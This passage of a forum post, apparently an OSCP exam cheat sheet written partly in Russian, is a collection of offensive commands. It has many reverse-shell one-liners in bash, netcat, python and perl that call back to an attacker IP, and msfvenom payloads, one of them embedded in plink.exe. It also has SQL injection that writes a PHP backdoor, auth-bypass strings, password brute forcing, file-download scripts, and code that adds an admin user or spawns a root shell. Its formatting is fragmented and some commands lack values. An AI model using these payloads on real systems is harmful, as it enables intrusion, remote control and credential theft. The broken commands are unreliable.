smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse
10.10
.10.10
SMB Users & Shares Scan
Bash:
nmap -p
445
-vv --script
=
smb-enum-shares.nse,smb-enum-users.nse
10.10
.10.10
Enum4linux
Bash:
enum4linux -a
10.10
.10.10
Null connect
Bash:
rpcclient -U
""
10.10
.10.10
Connect to SMB share
Bash:
smbclient //MOUNT/share
SNMP
SNMP enumeration
Bash:
snmp-check
10.10
.10.10
Python Servers
Web Server
Bash:
python -m SimpleHTTPServer
80
FTP Server
# Install pyftpdlib
Bash:
pip
install
pyftpdlib
# Run (-w flag allows anonymous write access)
Bash:
python -m pyftpdlib -p
21
-w
Reverse Shells
Bash shell
Bash:
bash
-i
>&
/dev/tcp/10.10.10.10/4443
0>
&1
Netcat without -e flag
Bash:
rm
/tmp/f
;
mkfifo
/tmp/f
;
cat
/tmp/f
|
/bin/sh -i
2>
&1
|
nc
10.10
.10.10
4443
>
/tmp/f
Netcat Linux
Bash:
nc
-e /bin/sh
10.10
.10.10
4443
Netcat Windows
Bash:
nc
-e cmd.exe
10.10
.10.10
4443
Python
Bash:
python -c
'import socket,subprocess,os;s=socket.socket(socket.AF_INE T,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
Bash:
perl -e
'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyna me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){op en(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Remote Desktop
Remote Desktop for windows with share and 85% screen
Bash:
rdesktop -u username -p password -g
85
% -r disk:share
=
/root/
10.10
.10.10
PHP
PHP command injection from GET Request
Bash:
#Alternative
Bash:
Powershell
Non-interactive execute powershell file
Bash:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1
Misc
More binaries Path
Bash:
export
PATH
=
$PATH
:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/
Linux proof
Bash:
hostname
&&
whoami
&&
cat
proof.txt
&&
/sbin/ifconfig
Windows proof
Bash:
hostname
&&
whoami.exe
&&
type
proof.txt
&&
ipconfig /all
SSH Tunneling / Pivoting
Bash:
sshuttle -vvr user@10.10.10.10
10.1
.1.0/24
Local port forwarding
Bash:
ssh
-L
:
:
Remote port forwarding
Bash:
ssh
-R
:
:
Dynamic port forwarding
Bash:
ssh
-D
-p
Plink local port forwarding
Bash:
plink -l root -pw pass -R
3389
:
:3389
SQL Injection
# sqlmap crawl
Bash:
sqlmap -u http://10.10.10.10 --crawl
=
1
# sqlmap dump database
sqlmap -u http://10.10.10.10 --dbms=mysql --dump[/CODE]
# sqlmap shell
sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell[/CODE]
Upload php command injection file
Bash:
union all
select
1,2
,3,4,
""
,6 into OUTFILE
'c:/inetpub/wwwroot/backdoor.php'
Load file
Bash:
union all
select
1,2
,3,4,load_file
(
"c:/windows/system32/drivers/etc/hosts"
)
,6
Bypasses
Bash:
' or 1=1 LIMIT 1 --
'
or
1
=
1
LIMIT
1
-- -
' or 1=1 LIMIT 1#
'
or
1
#
' or 1=1 --
'
or
1
=
1
-- -
Brute force
John the Ripper shadow file
Bash:
$ unshadow
passwd
shadow
>
unshadow.db
$ john unshadow.db
Bash:
# Hashcat SHA512 $6$ shadow file
hashcat -m
1800
-a
0
hash.txt rockyou.txt --username
#Hashcat MD5 $1$ shadow file
hashcat -m
500
-a
0
hash.txt rockyou.txt --username
# Hashcat MD5 Apache webdav file
hashcat -m
1600
-a
0
hash.txt rockyou.txt
# Hashcat SHA1
hashcat -m
100
-a
0
hash.txt rockyou.txt --force
# Hashcat Wordpress
hashcat -m
400
-a
0
--remove hash.txt rockyou.txt
RDP user with password list
Bash:
ncrack -vv --user offsec -P passwords rdp://10.10.10.10
SSH user with password list
Bash:
hydra -l user -P pass.txt -t
10
10.10
.10.10
ssh
-s
22
FTP user with password list
Bash:
medusa -h
10.10
.10.10 -u user -P passwords.txt -M
ftp
MSFVenom Payloads
Bash:
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f raw -o shell.php
# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f war -o shell.war
# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp
LPORT
=
4443
-f c -b
"\x00\x0a\x0d\x20"
-e x86/shikata_ga_nai
# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f elf -o shell.elf
# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -f c
# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -f exe -o non_staged.exe
# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -f exe -o meterpreter.exe
# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
EXITFUNC
=
thread -f python -o shell.py
# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f asp -e x86/shikata_ga_nai -o shell.asp
# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -o shell.aspx
# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f js_le -e generic/none -n
18
# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -i
9
-f psh -o shell.ps1
# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86
LHOST
=
10.10
.10.10
LPORT
=
4443
EXITFUNC
=
thread -f c -b
"\x00\x04"
-e x86/shikata_ga_nai
# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f exe -o shell.exe
# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f exe -e x86/shikata_ga_nai -i
9
-x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
Interactive Shell
Upgrading to a fully interactive TTY using Python
Bash:
# Enter while in reverse shell
$ python -c
'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$
fg
# In reverse shell
$ reset
$
export
SHELL
=
bash
$
export
TERM
=
xterm-256color
$ stty rows
columns
File Transfers
HTTP
The most common file transfer method.
Bash:
# In Kali
python -m SimpleHTTPServer
80
# In reverse shell - Linux
wget
10.10
.10.10/file
# In reverse shell - Windows
powershell -c
"(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"
FTP
This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.
Bash:
# In Kali
python -m pyftpdlib -p
21
-w
# In reverse shell
echo
open
10.10
.10.10
>
ftp.txt
echo
USER
anonymous
>>
ftp.txt
echo
ftp
>>
ftp.txt
echo
bin
>>
ftp.txt
echo
GET
file
>>
ftp.txt
echo
bye
>>
ftp.txt
# Execute
ftp
-v -n -s:ftp.txt
TFTP
Generic.
Bash:
# In Kali
atftpd --daemon --port
69
/tftp
# In reverse shell
tftp -i
10.10
.10.10 GET nc.exe
VBS
When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.
Bash:
# In reverse shell
echo
strUrl
=
WScript.Arguments.Item
(
0
)
>
wget.vbs
echo
StrFile
=
WScript.Arguments.Item
(
1
)
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_DEFAULT
=
0
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_PRECONFIG
=
0
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_DIRECT
=
1
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_PROXY
=
2
>>
wget.vbs
echo
Dim http,varByteArray,strData,strBuffer,lngCounter,fs, ts
>>
wget.vbs
echo
Err.Clear
>>
wget.vbs
echo
Set http
=
Nothing
>>
wget.vbs
echo
Set http
=
CreateObject
(
"WinHttp.WinHttpRequest.5.1"
)
>>
wget.vbs
echo
If http Is Nothing Then Set http
=
CreateObject
(
"WinHttp.WinHttpRequest"
)
>>
wget.vbs
echo
If http Is Nothing Then Set http
=
CreateObject
(
"MSXML2.ServerXMLHTTP"
)
>>
wget.vbs
echo
If http Is Nothing Then Set http
=
CreateObject
(
"Microsoft.XMLHTTP"
)
>>
wget.vbs
echo
http.Open
"GET"
,strURL,False
>>
wget.vbs
echo
http.Send
>>
wget.vbs
echo
varByteArray
=
http.ResponseBody
>>
wget.vbs
echo
Set http
=
Nothing
>>
wget.vbs
echo
Set fs
=
CreateObject
(
"Scripting.FileSystemObject"
)
>>
wget.vbs
echo
Set ts
=
fs.CreateTextFile
(
StrFile,True
)
>>
wget.vbs
echo
strData
=
""
>>
wget.vbs
echo
strBuffer
=
""
>>
wget.vbs
echo
For lngCounter
=
0
to UBound
(
varByteArray
)
>>
wget.vbs
echo
ts.Write Chr
(
255
And Ascb
(
Midb
(
varByteArray,lngCounter +
1,1
))
)
>>
wget.vbs
echo
Next
>>
wget.vbs
echo
ts.Close
>>
wget.vbs
# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe
Buffer Overflow или Переполнение буфера
Тут я чувствую свое упущение и нужно еще набраться опыта.
Представлю Вам PDF файл который поможет понять процесс.
Bash:
# Payload
payload
=
"\x41"
*
+
+
"\x90"
*
16
+
+
"\x43"
*
# Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l
# Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l
-q
# nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm
>
jmp eax
# Bad characters
badchars
=
(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x 0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x 1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x 2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x 3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x 4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x 5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x 6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x 7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x 8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x 9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\x ad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\x bd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\x cd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\x dd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\x ed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\x fd\xfe\xff"
)
СКРИПТЫкрайне полезные:
useradd.c
Windows - Add user.
C:
#include
/* system, NULL, EXIT_FAILURE */
int
main
(
)
{
int
i
;
i
=
system
(
"net user /add && net localgroup administrators /add"
)
;
return
0
;
}
# Compile
i686
-
w64
-
mingw32
-
gcc
-
o useradd
.
exe useradd
.
c
SUID
Set owner user ID.
Bash:
int main
(
void
)
{
setresuid
(
0
,
0
,
0
)
;
system
(
"/bin/bash"
)
;
}
# Compile
gcc suid.c -o suid
Powershell Run as
Run file as another user with powershell.
Код:
echo $username = '' > runas.ps1
echo $securePassword = ConvertTo-SecureString "" -AsPlainText -Force >> runas.ps1
echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1
echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Credential $credential >> runas.ps1
Process Monitor
Monitor processes to check for running cron jobs.
Bash:
#!/bin/bash
# Loop by line
IFS
=
$
'\n'
old_process
=
$(ps -eo command)
while
true
;
do
new_process
=
$(ps -eo command)
diff
]
sleep
1
old_process
=
$new_process
done
Сама экзаменационная среда может выглядеть так:
LINKS или крайне полезные ссылки:
Privilege Escalation:
g0tmi1k Linux Priv Esc
fuzzysecurity Windows Priv Esc
sploitspren Windows Priv Esc
togie6 Windows Priv Esc Guide
Kernel Exploits:
abatchy17’s Windows Exploits
lucyoa’s kernel exploits
Scripts:
LinuxPrivChecker
LinEnum
PowerUp
Дальше пока сумбур и адское количество полезной информации, которую я не успел перебрать и представить в удобоваримом виде и по мере моявления свободного времени обязательно приведу в соответствующий вид и буду дополнять:
Ставьте свои класневичи и дополняйте если есть замечания... Offencive Security ждет Вас
https://forum.antichat.xyz/attachments/4840162/img_9d80938324.png